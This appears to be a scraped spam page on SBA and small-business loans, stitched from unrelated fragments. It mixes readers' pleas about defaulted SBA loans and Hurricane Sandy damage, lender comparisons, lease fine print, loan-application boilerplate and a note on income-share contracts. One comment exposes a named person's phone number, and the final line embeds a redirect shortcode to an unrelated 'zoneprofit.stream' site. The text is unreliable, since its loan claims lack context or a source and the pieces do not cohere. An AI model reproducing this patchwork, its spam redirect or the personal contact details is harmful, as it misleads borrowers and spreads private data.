“what to know about business loans |small business loans for tattoo shops”

John, Our home was significantly damaged in October 2012 Hurricane Sandy. Since that time we have still been struggling to rebuild & pick up the pieces. We had taken an SBA Loan as a second mortgage to help secure funds to assist with the rebuild & repairs. Due to a number of issues resulting from the storm, we have fell behind with our mortgage payments. We would like to maintain the home but are considering filing a chapter 13. Attorneys (New Jersey) have not advised me if the SBA 2nd mortgage can be stripped. What is your experience with this type of circumstance? Is the SBA 2nd mortgage treated the same as a typical 2nd mortgage from any bank? Do you know of any assistance / programs available to those who sustained damages now dealing with potentional issues of foreclosure? Thank you for your time.

Young, ambitious and willing to make a bet on your future earnings? Consider how Kjerstin Erickson, Saul Garlick and Jon Gosier are trying to raise money. Through an online marketplace called the Thrust Fund, the three have offered up a percentage of their future lifetime earnings in exchange for upfront, undesignated venture funding. Erickson is willing to swap 6 percent of her future lifetime earnings for $600,000. The other two entrepreneurs are each offering 3 percent of future earnings for $300,000. Beware: the legality and enforceability of these “personal investment contracts” have yet to be established.

Under law, the SBA can’t guarantee loans to businesses that can obtain the money they need on their own. So you have to apply for a loan on your own from a bank or other financial institution and be turned down.

“Nobody does a good job of providing financing to startup businesses because it’s the highest risk out there,” says Charles Green, founder of the Small Business Finance Institute. “You may have big ideas and plans in place, but you haven’t launched yet.”

We called SBA and they told that there was nothing they could do we asked what we could do to save our bussiness and 12 employees they said nothing at this point the new attorney worked out a deal and we pd the bank back all the back payments and they applied them to the principle bal and told us to get a loan some were else we could not because we were late on our SBA loan in the past 24 months any way the took my money my bussiness property my assets and my good name and destroyed my reputation I had to buy back my bussiness to try to keep working and at this point I have weeks to try and get the money to buy back the real estate thrugh a family member I can’t SBA won’t help me and the bank s in the area wont step up with out SBA I am stuck I want to pay I did not default as far as I am concearned the bank and SBA left me out to dry now I am at the end of the road where do I stand

The trade off is that the SBA, as a federal agency, is promoting certain policy agendas. This results in SBA loans having strict requirements that the borrower must meet in order to qualify for the loan, including how the proceeds of the loan can be used.

Then ask your SBA district office for the names of a few approved lenders. The agency also recently set up the SBA Lender Match tool to match potential borrowers with lenders. Banks follow SBA guidelines but use their own underwriting criteria to evaluate loan applications.

Builders Line of Credit: SBA line of credit for contractors that build / renovate residential or commercial buildings used for materials, equipment, permitting, labor, and even land associated with a project. Up to $5,000,000.

After determining that your business meets the qualifications, you need to apply for a commercial loan from a financial company that processes SBA loans since the SBA doesn’t provide loans directly. The bank’s qualifications can be more stringent.

In the event that the monthly lease payment amount from the competing lease company or bank is lower than the monthly payment that is being offered by National Funding for the same equipment and pursuant to the same terms, National Funding will verify the validity and accuracy of the competing leasing company’s or bank’s payment options, terms and the vendor quote. National Funding has the option, in its sole discretion, to either beat the competing leasing company’s or bank’s monthly payment rate, or pay $1000 to the lessee. The lessee must provide National Funding with the competing company’s or bank’s signed lease agreement with payment terms/options, and take delivery of the equipment. Payments will be made within 30 days, and lessee is responsible for any taxes.

I took out a Bank of America sba loan in 2006 last payment was 2/2008 then default now 6 years later performant recovery is telling me all kinds of horror stories that can happen if I don’t pay, I’m on disability now what should I do?

We had to close our business and had an sba loan. We have made a deal with the bank to make $800/mo payments for 5 years, then we will see how things have changed, like maybe we had a windfall of $500,000 or some other miracle. We are on year 4.

A term loan is ideal for expansion and buying equipment, so consider StreetShares if you have at least $100,000 in revenue and six months in business. For businesses that are younger and have less revenue, BlueVine is a better bet. If borrowing costs are important to you, StreetShares offers lower APRs than BlueVine.

John, please send me an email with your contact information. I’m struggling with my SBA loan and need consultation & likely representation of your skill set. I can be reached at 714-305-2165. Thank You, Scott Branis.

How is the SBA 75% guarantee calculated? Is it based solely on principal & interest left after a foreclosure or can other fees be included ? Can the bank collect late charges, foreclosure fees, etc. from the SBA if the principal and interest are paid by the borrower?

Businesses with special requirements (such as those in exports or those operational in rural areas) are covered under this program. This is considered to be the most flexible choice, and also the most suitable one if you have a start-up in mind. The different 7(a) loan programs are:

Any applications submitted electronically shall have the same force and effect as if the application bore an inked original signature(s). The above information, together with any accompanying financial statements, schedules, or other materials, is submitted for the purpose of obtaining credit and is warranted to be true, correct, and complete.

Prior to submitting your application, you should have a plan for how you will utilize the business financing. Do you have broken equipment that must be fixed, a need to meet payroll, or do you want to expand your business? Knowing how you want to use your working capital will help you determine how quickly you need it, how much your business requires, and the cost you’re comfortable paying. Luckily, we don’t restrict how to use your working capital – check out the section below to learn about the top uses of funds!

Because you have strong personal credit, you could qualify for a line of credit through BlueVine or OnDeck that would help you meet daily expenses and maintain inventory. If you’ve been in business at least a year and have at least $100,000 in annual revenue, consider OnDeck, whose maximum APR is lower than BlueVine’s. If your annual revenue starts at $60,000, BlueVine is a better bet. BlueVine also offers invoice factoring, a type of financing that advances you cash based on your unpaid customer invoices. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]

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